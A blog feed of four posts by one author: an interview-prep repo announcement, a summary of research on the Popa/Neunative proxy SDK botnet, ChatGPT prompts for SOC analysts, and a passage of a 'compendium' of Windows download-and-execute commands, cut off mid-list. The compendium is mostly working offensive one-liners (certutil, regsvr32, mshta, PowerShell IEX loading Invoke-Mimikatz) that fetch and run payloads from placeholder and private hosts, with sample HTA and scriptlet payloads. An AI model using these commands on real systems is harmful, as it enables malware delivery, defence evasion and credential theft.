DEV Community: Excalibra

How I Went From Interview Rejections to Building a 200+ Question Open‑Source Cybersecurity Resource

Excalibra — Sat, 25 Jul 2026 11:26:33 +0000

And why I’m giving it away for free.

I remember the exact moment I realised I was doing interview prep all wrong.

I had just finished yet another technical interview that I thought went well. I knew the CIA triad. I could explain SQL injection. I’d even practised my STAR method answers.

Then the interviewer asked: “Walk me through how you’d respond to a ransomware outbreak across 200 servers.”

I froze.

Not because I didn’t know the answer — but because I’d never thought about interviews that way. I’d been memorising definitions when I should have been learning how security professionals actually think.

The Problem With Most Interview Prep

Here’s the reality: most cybersecurity interview resources are a mess.

Scattered PDFs that are years out of date
Random blog posts with conflicting answers
Paywalled courses that cost hundreds of pounds
Practice questions with no explanations — just “here’s the right answer, trust us”

Sound familiar?

I wasted months bouncing between these. Every time I thought I was prepared, a curveball question would expose another gap. I was building my knowledge on shaky foundations — and interviewers could tell.

So I did what any frustrated engineer would do.

I built my own.

Enter: 200+ Cybersecurity Interview Questions (Free & Open Source)

After six months of collecting, curating, and validating, I’m releasing what I wish I’d had from day one:

A free, open‑source collection of 200+ cybersecurity interview questions and answers.

Here’s what makes it different:

No fluff. Every question is practical and interview‑relevant.
Organised by domain — Red Team, Blue Team, Web Security, Incident Response, Network Security, Systems, Tools, and more.
Searchable live website — find topics instantly, no scrolling through a massive README.
Continuously updated — this isn’t a one‑and‑done PDF. It’s a living resource that grows with the community.
Completely free. No paywalls, no email sign‑ups, no tricks.

excalibra.github.io/cybersecurity-interview-questions

github.com/Excalibra/cybersecurity-interview-questions

What’s Inside?

The repository is organised into logical sections so you can focus on what matters most for your next interview:

Section	What You’ll Find
Red Team	Exploitation, evasion, deserialisation, WAF bypass, domain attacks, persistence
Blue Team	Incident response, log analysis, intrusion detection, traceability, system hardening
Web Security	SQLi, XSS, CSRF, SSRF, file uploads, logic flaws
Network Security	ARP, DNS, TCP/UDP, DDoS, OSI model, routing protocols, firewalls, SSL/TLS
Incident Response	Threat intelligence, malware detection, honeypots, forensic analysis
Internal Network Penetration	Lateral movement, domain controller attacks, golden/silver tickets, tunnelling
Systems	Windows/Linux hardening, privilege escalation, persistence detection
Tools	Nmap, sqlmap, webshells, proxies, tunnelling tools
Computer Networks	OSI model, TCP/IP fundamentals
Traceability & Traffic Analysis	Wireshark, traffic patterns, attack attribution

And yes — I recently added a dedicated Blue Team section with 70+ questions. Because defence matters just as much as offence.

Why Open Source?

I could have packaged this as a course or a paid PDF. But that’s exactly the problem I’m trying to solve.

Interview prep should be accessible to everyone.

By keeping it open source:

Anyone can use it, fork it, or contribute.
The community can catch mistakes and suggest improvements.
It stays relevant because it evolves with real‑world feedback.

If you find a question that’s unclear, an answer that could be better, or a topic that’s missing — open an issue or submit a pull request. This resource is for the community, and the community makes it better.

What People Are Saying

“I wish I had this when I was preparing for my first security role.”

— Anonymous Reddit user

“Finally, a resource that actually explains *why the answer is what it is.”*

— Early contributor

“The searchable live site is a game‑changer. No more scrolling through endless Markdown files.”

— Community member

How You Can Help

If this resource helps you, here are a few ways to give back:

⭐ Star the repository — it helps others discover it.
Share it — with your network, on LinkedIn, Reddit, or Discord.
Contribute — open an issue or PR with improvements.
Use it — and let me know what topics you’d like to see next.

One Last Thing

Interview prep isn’t about memorising trivia. It’s about building the mental models that help you think like a security professional.

This repository won’t guarantee you a job. But it will give you a structured, practical foundation — so when the interviewer throws a curveball, you’re ready.

Not because you memorised the answer.

But because you understand why it’s the answer.

Check it out here:

🔗 excalibra.github.io/cybersecurity-interview-questions

🔗 github.com/Excalibra/cybersecurity-interview-questions

If this helped you, please consider giving it a star ⭐ — it makes a huge difference in helping others find it.

Exposure of a Botnet Linked to an Israeli Listed Company

Excalibra — Thu, 23 Jul 2026 19:48:34 +0000

Article Summary: A proxy software development kit (SDK) named Popa has been exposed, capable of transforming mobile phones, TV boxes, and other devices into residential proxy network nodes. The SDK is distributed through pirated applications, counterfeit boxes, and bundled installations across Android and Windows platforms. Its operations are highly stealthy, employing dynamic configuration to evade blocks and utilising proprietary protocols for communication with backend servers. Notably, this infrastructure shows deep connections with NetNut, a residential proxy provider under the Israeli listed company Alarum Technologies. The report indicates the network maintains millions of active IPs daily and is used for activities such as AI data scraping, posing risks to user device security and enterprise networks.

Many users remain unaware that their mobile phones or home TV boxes may be quietly integrated into commercial residential proxy networks in the background, forwarding network traffic for third parties.

On 18 June 2026, Synthient, Nokia Deepfield, Qurium Media Foundation, and KrebsOnSecurity simultaneously released research reports that fully exposed the ecosystem surrounding the Popa and Neunative proxy SDKs.

This SDK spans Android and Windows platforms. It is implanted via pirated streaming applications, counterfeit TV boxes, download tools, and other channels, ultimately feeding into the same residential proxy infrastructure. This network maintains deep ties with NetNut, the residential proxy service under the listed company Alarum Technologies.

Popa: A Multi-Platform Proxy SDK Family

Popa is not a single malicious program but a long-evolving family of proxy software development kits. Its core objective is to convert ordinary consumer devices into exit nodes for residential proxy networks. Over years of iteration, it has developed a comprehensive matrix across multiple languages, platforms, and brands, with variants tailored to different implantation scenarios.

Branch Name	Package Name	Development Language	Earliest Sample Date	Primary Platforms
Moneytiser	io.moneytise	Java	December 2020	Android
Popa	io.popanet	Java	March 2022	Android
Loopop	io.nn.lp	Java	November 2023	Android
Neupop / Neunative	io.nn.neunative / NeunativeWin.dll	C++	February 2026	Android, Windows

The SDK’s distribution channels cover a broad range of consumer devices; virtually any terminal capable of installing third-party applications may serve as a carrier.

Android devices are the primary target. The Vo1d botnet infects large numbers of counterfeit TV boxes and implants Popa plugins. Additionally, numerous pirated streaming applications actively bundle the SDK, including Ocean Streamz, CyberFlix, Flixoid, Sportzfy, and dozens of other popular titles. Users installing these applications inadvertently join the proxy network. (Initial discovery referenced from XLab: https://blog.xlab.qianxin.com/long-live-the-vo1d_botnet/)

Even the open-source application Smart Tube was compromised, with the proxy SDK inserted across multiple versions for five months before community detection. On Windows, prominent examples include RoboVPN — a commercial VPN marketed for privacy protection — which bundles the complete Neunative proxy SDK via NuGet dependencies in its installer. The well-known BitTorrent client MediaGet similarly incorporates the SDK, automatically enrolling users’ devices into the proxy pool upon installation.

Smart TV platforms have also seen significant penetration. According to Spur research, 42.5% of applications on LG webOS and 26.5% on Samsung Tizen contain similar proxy SDKs. Installing a simple game or utility application can transform a household television into a permanently online proxy node.

Stealth Design of the Android Popa SDK

In newer Popa versions, the SDK avoids hard-coded command-and-control server addresses. Instead, it dynamically fetches configuration from public cloud storage. Specifically, it contains a built-in download link pointing to Google Drive; the file is encrypted with AES-ECB, and decryption reveals the real relay server addresses.

This approach of hosting configuration on mainstream cloud services substantially enhances infrastructure resilience and circumvents conventional domain blocking. Device registration and network enrolment occur in two stages. First, a qualification check: upon launch, the SDK queries an initial interface, and the server determines whether the device meets enrolment criteria, filtering out unsuitable devices. Second, node list acquisition: verified devices call the registration interface, receive a list of available relay servers, establish connections, and begin forwarding traffic.

Although recent SDK versions include interfaces for user consent dialogues, developers rarely invoke this functionality in practice. Qurium’s static analysis confirmed the presence of complete consent dialogue components within the code, yet no call paths from the startup process to these dialogues exist. Devices proceed directly to registration upon boot without notifying the user.

Windows Neunative SDK

Nokia Deepfield’s reverse engineering of RoboVPN fully details the operation of the Windows Neunative SDK, revealing stealth far exceeding the Android variant. The RoboVPN client itself provides full VPN functionality via WireGuard protocol, supporting country selection, speed testing, and standard features.

The proxy SDK is embedded as a NuGet dependency, indistinguishable in the installation manifest from ordinary components such as JSON parsing libraries. Its activation logic is particularly deceptive: the SDK does not run during VPN connections. Instead, it activates only when the VPN is disconnected or the client is idle after login, preceded by a random delay of 30 to 90 minutes. Reconnecting the VPN immediately halts the proxy service.

This design serves a clear purpose. WireGuard operates in full-tunnel mode; simultaneous proxy operation during VPN connectivity would route exit traffic through datacentre IPs, undermining residential proxy value. Activation solely during VPN disconnection ensures forwarded traffic originates from genuine residential user IPs, aligning perfectly with commercial residential proxy characteristics. Short-term packet captures by ordinary users are unlikely to detect anomalies, often leading to the erroneous conclusion that the software is clean.

Proprietary Relay Protocol and Security Vulnerabilities

The Neunative core consists of a 194 KB x64 C++ binary containing 598 functions. It relies on the system Schannel library for TLS encryption without additional cryptographic bundles. Communication utilises a custom binary TLV (Type-Length-Value) protocol, with messages distinguished by 4-byte type codes across seven core message types:

Registration message – for device enrolment to relay nodes
Registration response – returning enrolment results
Heartbeat message – maintaining connection liveness
Open tunnel instruction – carrying target hostname and port
Tunnel data – carrying forwarded raw traffic
Close tunnel instruction – terminating a specified tunnel
Disconnect message – normal connection termination

Upon receiving an open-tunnel instruction, the SDK spawns an independent thread, resolves the target domain and port, establishes a direct connection, and performs bidirectional data forwarding between the relay server and destination. The SDK includes destination address filtering to block private, loopback, link-local, and multicast addresses, preventing third-party access to user internal networks. However, this filtering contains clear deficiencies: it does not block the 0.0.0.0/8 range and lacks any port blacklist. On Android, accessing port 5555 on 0.0.0.0 directly targets the device’s ADB debugging service, enabling attackers to compromise the device and convert proxy nodes into botnet zombies. Observations indicate that port 5555 ranks as the third most active outbound port across the Popa network, confirming such attacks are occurring in the wild.

Two-Tier Backend Infrastructure

Qurium and Nokia’s investigations jointly reconstruct the backend’s full scale. The network employs a two-tier architecture of a scheduling layer and relay layer. The top tier features load-balancing domains, with lb.gmslb.net as the primary enrolment entry point backed by ten servers in OVH datacentres. Devices register here and receive geographically matched relay node lists. The lower tier comprises relay node clusters using numbered domains with numerous fronting domains.

A single relay server may correspond to up to 30 different fronting domains such as viki-play.com and star-layer.com. All domains are hosted on Cloudflare under two accounts to avoid single-point failure from blocks. Domain names mimic legitimate technology products through compound English words, enhancing deception. Enumeration of numbered domains reveals approximately 360 active relay servers, all deployed in commercial datacentres (OVH, GTHost, Hetzner, Linode) with none being residential nodes.

The true residential exits are the compromised user devices implanted with the SDK.

Two Faces of the Same Backend: Botnet and Commercial Software

Popa first gained public attention as a traffic-forwarding plugin for the Vo1d botnet, which targets Android TV boxes. At disclosure in 2024, Vo1d infected approximately 1.3 million devices, growing to 1.6 million by 2025 across 226 countries and regions. Infected devices download the Popa plugin and contribute to the residential proxy network for profit. Meanwhile, Neunative functions as a commercial SDK embedded in legitimately distributed software such as RoboVPN through voluntary user installation.

Despite divergent distribution paths, both ultimately connect to identical backend infrastructure. Technical architecture comparison reveals near-identical core relay protocols, message types, and node scheduling logic, with only minor differences in registration ports and interface paths. Windows Neunative build path records confirm the compilation directory was named after the Android native SDK, indicating a cross-platform port of the same codebase. Consequently, a virus-infected counterfeit TV box and a user-installed free VPN on a home computer become exit nodes within the same proxy pool, serving identical paying customers. The backend makes no distinction regarding enrolment method or verification of genuine informed consent.

Attribution Chain: From NinjaTech to NetNut

Qurium’s investigation, tracing domain history and corporate records, ultimately points to the well-known residential proxy provider NetNut and its parent company Alarum Technologies. Key evidence emerged from domain transitions. Following Google and security vendors’ 2025 crackdown on Badbox 2.0, which blocked numerous Popa control domains, dozens of replacement domains appeared. Among these, only ninjatech.io was a long-registered domain. Internet Archive records show ninjatech.io as the former website of NinjaTech, promoting bandwidth monetisation SDKs that allow developers to earn from users’ idle bandwidth without displaying advertisements.

Latvian corporate records indicate NinjaTech SIA was registered in January 2020 under Moshe Yehuda Kramer. Public profiles confirm Kramer as NetNut co-founder, primary architect of its platform, and current Chief Strategy and Innovation Officer plus Senior Vice President of R&D at Alarum Technologies. Multiple infrastructure overlaps exist: early SDK domains such as cyberprotector.online, sdk.netnut.io, and sdk.ninjatech.io shared identical server IPs between 2021 and 2025. Synthient’s controlled testing verified that devices running Popa SDK route exit traffic through NetNut’s commercial gateways.

In response, Kramer stated that NinjaTech ceased operations years ago, with the SDK code sold and licensed to third parties; subsequent modifications and deployments are unrelated to him or NetNut. He denied registering the 2025 replacement domains or controlling current Popa infrastructure.

The proxy network’s scale far exceeds common perceptions. Black Lotus Labs (under Lumen) monitoring shows 1.5 to 2.5 million daily active IPs and 250–300 control nodes. Nokia Deepfield sampling from 26 relays estimates 35,000–60,000 clients per relay, suggesting a potentially larger total. Its industry penetration is particularly concerning: NetNut serves as a core residential proxy provider, with numerous downstream resellers amplifying Popa exit IPs across dozens of services.

The primary driver of expansion is massive web scraping demand for AI training. Datacentre IPs are easily blocked by anti-bot measures, whereas residential IPs enjoy higher trust. AI companies procure residential proxies at scale for content collection, fuelling demand and the proliferation of grey SDKs. This scraping has produced tangible public impact: in May 2026, the ARIJ independent media website faced massive scraping from 1.35 million IPs across 223 countries and regions originating from this network. Numerous non-profits, academic institutions, and public knowledge bases suffer service degradation or outages.

Enterprise risks are equally pronounced. Infoblox data indicate 65% of corporate networks exhibit residential proxy-related domain queries, exceeding 90% in pharmaceuticals and food & beverage, and over 60% in government and finance sectors. Personal devices connecting to corporate networks create outbound channels to enterprise IPs; if exploited for attacks, organisations face attribution challenges and reputational damage.

Alarum Technologies issued a statement asserting the reports contain numerous inaccurate claims and flawed inferences, denying botnet classification. The company maintains the SDK enables legitimate bandwidth sharing without compromising device security, operates a compliant commercial proxy network with full KYC, abuse monitoring, and compliance measures. However, Spur noted that NetNut does not enforce rigorous enterprise verification; individual users require only email and payment, while downstream white-label resellers face minimal checks, often limited to cryptocurrency and temporary email.

All research teams emphasised analytical boundaries. Evidence derives from sample reverse engineering, network telemetry, and public records. It does not conclusively prove direct NetNut operation of the SDK implantation network, nor rule out downstream reseller or third-party developer violations. Infrastructure and traffic-layer associations are reproducible facts, while precise commercial relationships and intent remain inconclusive.

Windows Detection: Users may inspect the registry key HKCU\Software\Neunative and log files such as NeuNative.log in the AppData directory to determine potential SDK implantation.

Enterprise and Institutional Mitigation: Block known Popa and Neunative scheduling domains and relay IPs at network perimeters to prevent enrolment. Enhance monitoring of outbound TLS traffic on port 6000 to identify anomalous relay connections.

Conclusion

The comprehensive exposure of the Popa and Neunative ecosystem has brought long-standing grey areas within the residential proxy industry into sharp focus. From virus-infected TV boxes to user-installed free software, millions of devices are enlisted into commercial proxy networks without owner knowledge, consuming bandwidth and electricity while introducing risks of device compromise and identity theft. As AI data collection demands continue to grow, the residential proxy market will expand, creating further opportunities for similar grey SDKs.

References:

Disclaimer: The programs and technical methods described in this article are intended solely for legitimate, compliant security research and educational purposes to enhance cybersecurity defences and possess clear technical research attributes. Any unauthorised use for attacks, destruction, or other illegal activities shall result in the perpetrator bearing full legal, civil, and joint liability; this site assumes no liability. Content is published for technical exchange and knowledge sharing. For copyright or other disputes, please contact us via the provided channels.

10 ChatGPT Prompts for Daily Use by L1 SOC Analysts

Excalibra — Thu, 23 Jul 2026 19:15:26 +0000

Article Summary: This article provides ten practical ChatGPT prompts tailored for L1 SOC analysts, covering scenarios such as alert triage, threat analysis, and documentation. It aims to optimise security incident response workflows. The core value lies in assisting analysts with repetitive tasks including alert summarisation, log anomaly identification, MITRE framework mapping, threat hunting, and executive reporting. It emphasises the need to avoid inputting sensitive data into public AI tools, recommending instead the use of enterprise-grade AI solutions with mandatory human verification of outputs.

Security Operations Centre (SOC) analysts must continuously manage vast volumes of security alerts, often under severe time constraints. In addition, they are required to conduct precise investigations, maintain comprehensive documentation, and communicate findings to both technical and non-technical stakeholders. In this context, generative AI tools such as ChatGPT can serve as valuable assistive instruments.

The table below summarises ten ChatGPT prompts specifically adapted for L1 SOC analysts, suitable for quick reference. These prompts are beneficial not only for junior analysts but also for L2 and L3 analysts, as well as anyone seeking to understand standard incident response procedures. Sensitive data must never be entered into public AI tools. Instead, these prompts may be used to train dedicated AI agents for partial workflow automation.

No.	Scenario	Assistive Function	Value to SOC Operations
1	Security alert summarisation	Condenses alert data into content suitable for non-technical audiences	Supports junior analysts in triage and risk-level determination
2	Raw log analysis	Identifies anomalous behaviour, indicators of compromise, and attack patterns	Aids log tracing and security investigations
3	Customised triage checklist generation	Establishes standardised step-by-step investigation processes when no playbook exists	Assists analysts handling unfamiliar alert types
4	Incident ticket documentation	Organises scattered notes into standardised ticket records	Improves documentation quality, handover efficiency, and audit compliance
5	Escalation report drafting	Produces concise escalation content for L2/L3 analysts	Reduces redundant communication and enhances collaboration
6	Phishing email analysis	Examines risk characteristics in suspicious emails	Supports threat-level assessment of phishing attempts
7	MITRE ATT&CK framework mapping	Aligns observed behaviours with tactics, techniques, and procedures	Enriches threat analysis and report quality
8	Threat hunting hypothesis generation	Provides hunting assumptions and follow-up investigation directions	Enables novice analysts to conduct proactive threat hunting
9	Security detection rule optimisation	Outputs detection logic, tuning recommendations, and false-positive mitigation strategies	Broadens detection coverage and reduces alert fatigue
10	Executive summary report writing	Translates technical content into business-oriented language	Facilitates clear communication with management and business stakeholders

Judicious application of ChatGPT and similar AI tools can substantially alleviate repetitive tasks for SOC analysts, including alert summarisation, log anomaly detection, ticket writing, and the translation of technical content into accessible language.

However, generative AI and intelligent agents cannot fully replace human judgement. They should function as efficiency enhancers, supporting analysts in information synthesis, reducing documentation burdens, and streamlining content interpretation. The prompts below are designed for routine SOC workflows, enabling seamless integration of AI into daily operations.

1. Security Alert Summarisation

Security tools frequently generate lengthy detection outputs filled with vendor-specific terminology, process details, metadata, and behavioural descriptions. This can impede the efficiency of junior analysts during triage.

Prompt: From the perspective of an L1 SOC analyst, summarise the following security alert in plain language. Explain the sequence of events, potential risks, threat severity level, and the three priority investigation steps: [Paste alert, log, or endpoint detection content here].

ChatGPT can produce a concise abstract explaining the alert’s meaning and associated risks, eliminating the need for manual interpretation of every field and technical term.

2. Raw Log Anomaly Analysis

Manually reviewing log data line by line is extremely time-consuming, making it difficult for analysts to distinguish normal business activity from potentially malicious behaviour.

Prompt: Analyse the following log content. Identify suspicious activities, key indicators, potential attacker behaviours, and recommended follow-up investigation measures: [Paste/upload log data here].

This prompt assists L1 analysts in spotting anomalous login attempts, repeated failed logins, unusual process executions, suspicious domains, access from atypical geographic locations, or command-and-control communication artefacts. While human verification remains essential, ChatGPT and AI agents can significantly reduce initial investigation time and provide clear directional guidance.

3. Customised Alert Triage Checklist

When no specific incident response playbook is available, ChatGPT can help L1 analysts apply a consistent, standardised investigation process to various unfamiliar alerts.

Prompt: Acting as a senior L1 SOC analyst and drawing upon the provided alert information, create a step-by-step triage checklist. Include items to verify, evidence to collect, and criteria for escalation: [Paste/upload alert details here].

This prompt is particularly useful for scenarios such as suspicious PowerShell execution, anomalous remote logins, phishing attempts, or unusual outbound traffic, offering a standardised starting framework for investigations.

4. Drafting Standardised Incident Tickets or Updates

Documentation constitutes a core element of SOC work. Analysts must produce clear, structured tickets that accurately record investigation findings, evidence reviewed, actions taken, and current incident status. Poor documentation complicates handovers and can lead to confusion during escalations or post-incident reviews.

Prompt: Based on the following investigation details, draft a professional, standardised SOC incident ticket. Keep the content concise and clear, in accordance with ticket requirements, and include findings, actions performed, and current status: [Paste raw notes here].

This prompt enables analysts to transform fragmented notes into well-organised, professional documentation. It promotes consistency, saves time, and is especially valuable when managing multiple tickets simultaneously.

5. Drafting Escalation Reports for L2 Teams or Incident Response Units

Not all alerts can be resolved at the initial triage stage. When L1 analysts identify risks such as suspected account compromise, malware execution, suspicious administrative activity, or ransomware indicators, they must provide swift and clear escalation reports.

Prompt: Using the following alert information and investigation results, draft a concise escalation report for L2 or L3 analysts. Clearly state observed phenomena, associated risks, completed verifications, and recommended next steps: [Paste investigation results here].

This capability allows L1 analysts to communicate essential information efficiently, preventing critical details from being obscured by extraneous text. Well-structured escalation reports reduce back-and-forth queries and enable seamless handover to subsequent teams.

6. Suspicious Phishing Email Analysis

Phishing remains a prevalent threat. Analysts must examine email content, sender information, headers, links, and social engineering tactics to determine whether an email constitutes a malicious attack or benign spam.

Prompt: Analyse this suspicious phishing email. Identify various danger signals, common attacker techniques, suspicious indicators of compromise, and recommended remediation actions. Determine whether the email represents credential theft, malware delivery, business email compromise, or ordinary spam: [Paste/upload email headers, body, or links here].

The prompt helps L1 analysts recognise spoofed senders, suspicious domains, urgency-based lures, identity masquerading, attachment risks, and malicious links. It also aids junior analysts in understanding typical phishing construction patterns.

7. Mapping Behaviours to the MITRE ATT&CK Framework

The MITRE ATT&CK framework categorises adversary tactics, techniques, and procedures. L1 analysts often need to contextualise suspicious activity within the broader attack lifecycle.

Prompt: Map the following observed behaviours to the corresponding MITRE ATT&CK tactics and techniques. Provide the rationale for each mapping and suggest supporting evidence: [Paste investigation results or event overview here].

This approach helps analysts move beyond isolated alert analysis, adopt a holistic view of attacker behaviour, and improve report quality, threat hunting capabilities, and inter-team communication.

8. Developing Threat Hunting Hypotheses

SOC work extends beyond reactive alert handling. In mature security environments, analysts leverage indicators of compromise to proactively search for signs of intrusion.

While threat hunting has traditionally been the domain of senior analysts, the proliferation of AI tools in SOCs now enables L1 analysts to develop their skills and participate in proactive threat hunting and intelligence activities.

Prompt: Based on this alert or suspicious behaviour, generate ten threat hunting hypotheses. For each, specify relevant data sources and search queries: [Paste/upload alert, indicators of compromise, or behaviour description here].

Such prompts allow analysts to expand single-point detections into comprehensive environment-wide hunts. For instance, upon detecting suspicious PowerShell execution on one endpoint, AI can suggest analogous searches across endpoint logs, authentication logs, proxy logs, and DNS records.

9. Optimising or Designing SIEM Detection Rules

Although not all L1 SOC analysts belong to detection engineering teams, many identify gaps in existing controls during investigations.

AI tools such as ChatGPT can help structure thoughts and translate suspicious behaviours into more robust detection rules.

Prompt: For the following suspicious behaviour, assist in creating or optimising a SIEM detection rule. Include detection logic, key fields to monitor, false-positive considerations, and tuning recommendations: [Describe the specific behaviour here].

This is applicable to scenarios such as brute-force attacks, anomalous PowerShell usage, privilege escalation, unusual service creation, lateral movement, and irregular authentication patterns. It encourages analysts to adopt a defensive mindset, proactively enhancing visibility and refining rules rather than merely responding to alerts.

10. Drafting Non-Technical Executive Summaries

Communication skills represent an often-underestimated core competency in SOC work. Analysts frequently need to explain security incidents to non-technical stakeholders, including managers, compliance teams, legal departments, and executives. Technical jargon can prove impenetrable to business audiences.

Prompt: Based on the following investigation details, draft a non-technical executive summary for managers and senior leadership. Clearly explain the incident sequence, business impact, current handling status, and recommended actions. Avoid excessive technical terminology: [Paste/upload incident details here].

This prompt helps analysts translate technical findings into business language — a critical skill, given that security incidents typically affect operations, finances, brand reputation, and regulatory compliance.

Important Reminder: Never Upload Sensitive Data to Public AI Tools

Although tools such as ChatGPT can enhance SOC workflows, they must be used in a compliant and responsible manner. Unless explicitly authorised by the organisation, SOC analysts must refrain from pasting sensitive, confidential, regulated, or proprietary data into public AI systems.

Prohibited data categories include: customer or employee personal information; account credentials and keys; internal IP addresses and asset inventories; proprietary log files; details of classified incidents; regulated or confidential materials; and internal investigation records containing identifiable system or user information.

Safer practices involve data redaction or masking prior to use — removing usernames, hostnames, domains, email addresses, internal IPs, file hashes, and any other elements that could lead to information leakage.

Ideally, SOC teams should utilise only enterprise-approved AI solutions that align with organisational legal, privacy, and security requirements.

Conclusion

When employed responsibly and in accordance with established norms, ChatGPT and other AI tools can meaningfully improve the efficiency of SOC analysts. AI assists with the summarisation, organisation, archiving, interpretation, and dissemination of security information, thereby reducing repetitive tasks, standardising processes, and allowing analysts to concentrate on higher-value activities such as detection rule optimisation, threat hunting, and threat intelligence.

Nevertheless, the practical value of AI within SOC environments ultimately depends on its manner of use. Analysts must continue to verify outputs, exercise independent judgement, and adhere strictly to internal procedures and playbooks.

Artificial intelligence can accelerate workflows but will never fully supplant human expertise. For L1 SOC analysts seeking to enhance productivity, the prompts outlined above offer a practical entry point for incorporating AI into routine operations.

Disclaimer: The techniques and methods described herein are intended solely for legitimate security research and educational purposes aimed at strengthening cybersecurity defences. Any unauthorised use for attacks or destructive activities is strictly prohibited and remains the sole legal responsibility of the perpetrator. This site bears no liability. For copyright or other concerns, please contact us via the provided channels.

A Comprehensive Compendium of Windows Download and Execution Commands

Excalibra — Wed, 24 Jun 2026 11:41:24 +0000

Article Abstract: This article presents a systematic compilation of methods for downloading and executing files on Windows systems using various built-in commands, including bitsadmin, PowerShell, mshta, and others. These techniques are applicable to Windows 7 and later versions.

1. bitsadmin Command (Windows 7 and Above)
2. PowerShell Command Download and Execution (Windows 7 and Above)
3. mshta Command Download and Execution
4. rundll32 Command Download and Execution
5. regasm Command from .NET Framework
6. CMD Remote Command Download
7. regsvr32 Command Download and Execution
8. certutil Command Download and Execution
9. MSBuild Command from .NET Framework
10. odbcconf Command Download and Execution
11. cscript Script Remote Command Download and Execution
12. pubprn.vbs Download and Execution Command
13. Native Windows copy Command
14. IEXPLORE.EXE Command Download and Execution (Requires IE 0-day)
15. IEExec Command Download and Execution
16. msiexec Command Download and Execution
17. GreatSCT Download and Execution Project

1. bitsadmin Command (Windows 7 and Above)

The bitsadmin utility can only download files to a specified path on the local system.

bitsadmin /transfer myDownLoadJob /download /priority normal "http://img5.cache.netease.com/photo/0001/2013-03-28/8R1BK3QO3R710001.jpg" "d:\abc.jpg"

bitsadmin /transfer d90f <http://site.com/a> %APPDATA%\d90f.exe&%APPDATA%\d90f.exe&del %APPDATA%\d90f.exe

2. PowerShell Command Download and Execution (Windows 7 and Above)

PowerShell provides powerful capabilities for downloading and executing scripts and binaries directly from remote sources.

powershell IEX (New-Object Net.WebClient).DownloadString('<https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1>'); Invoke-Mimikatz

powershell -exec bypass -f \\webdavserver\folder\payload.ps1

powershell (new-object System.Net.WebClient).DownloadFile( 'http://192.168.168.183/1.exe','C:\1111111111111.exe')

powershell -w hidden -c (new-object System.Net.WebClient).Downloadfile('http://img5.cache.netease.com/photo/0001/2013-03-28/8R1BK3QO3R710001.jpg','d:\\1.jpg')

3. mshta Command Download and Execution

The mshta command executes HTML Application (HTA) files, which can contain VBScript or JScript that performs download and execution.

mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))

mshta http://webserver/payload.hta

mshta \\webdavserver\folder\payload.hta

Sample payload.hta:

<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
self.close
</script>
<body>
demo
</body>
</HEAD>
</HTML>

4. rundll32 Command Download and Execution

The rundll32 utility can execute functions exported from DLLs, including those hosted on remote WebDAV shares.

rundll32 \\webdavserver\folder\payload.dll,entrypoint

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();

Reference: https://github.com/3gstudent/Javascript-Backdoor

5. regasm Command from .NET Framework

The regasm.exe tool, part of the .NET Framework, can be used to execute managed DLLs from remote locations.

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll

6. CMD Remote Command Download

The Windows Command Prompt can directly read and execute commands from a remote batch file.

cmd.exe /k < \\webdavserver\folder\batchfile.txt

7. regsvr32 Command Download and Execution

The regsvr32 utility can register and execute COM objects from remote scriptlet files.

regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll

regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll

regsvr32 /u /s /i:<http://site.com/js.png> scrobj.dll

Sample js.png (Scriptlet):

<?XML version="1.0"?>
<scriptlet>
<registration
    progid="ShortJSRAT"
    classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
    <!-- Learn from Casey Smith @subTee -->
    <script language="JScript">
        <![CDATA[
            ps = "cmd.exe /c calc.exe";
            new ActiveXObject("WScript.Shell").Run(ps,0,true);
        ]]>
    </script>
</registration>
</scriptlet>

8. certutil Command Download and Execution

The certutil utility, primarily used for certificate management, can also download files and decode Base64-encoded content.

certutil -urlcache -split -f http://webserver/payload payload

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe

certutil -urlcache -split -f http://site.com/a a.exe && a.exe && del a.exe && certutil -urlcache -split -f http://192.168.254.102:80/a delete

9. MSBuild Command from .NET Framework

The MSBuild tool, part of the .NET Framework, can execute tasks defined in XML project files, enabling remote code execution.

cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"

10. odbcconf Command Download and Execution

The odbcconf utility can be used to register DLLs remotely via its regsvr command.

odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}

11. cscript Script Remote Command Download and Execution

The cscript command executes VBScript or JScript scripts, which can be hosted remotely.

cscript //E:jscript \\webdavserver\folder\payload.txt

Sample downfile.vbs:

' Set your settings
strFileURL = "http://www.it1.net/images/it1_logo2.jpg"
strHDLocation = "c:\logo.jpg"

' Fetch the file
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")

objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()

If objXMLHTTP.Status = 200 Then
    Set objADOStream = CreateObject("ADODB.Stream")
    objADOStream.Open
    objADOStream.Type = 1 'adTypeBinary

    objADOStream.Write objXMLHTTP.ResponseBody
    objADOStream.Position = 0 'Set the stream position to the start

    Set objFSO = Createobject("Scripting.FileSystemObject")
    If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
    Set objFSO = Nothing

    objADOStream.SaveToFile strHDLocation
    objADOStream.Close
    Set objADOStream = Nothing
End if

Set objXMLHTTP = Nothing

Execution Command:

cscript downfile.vbs

12. pubprn.vbs Download and Execution Command

The pubprn.vbs script, part of Windows printing administration, can execute remote scriptlet files.

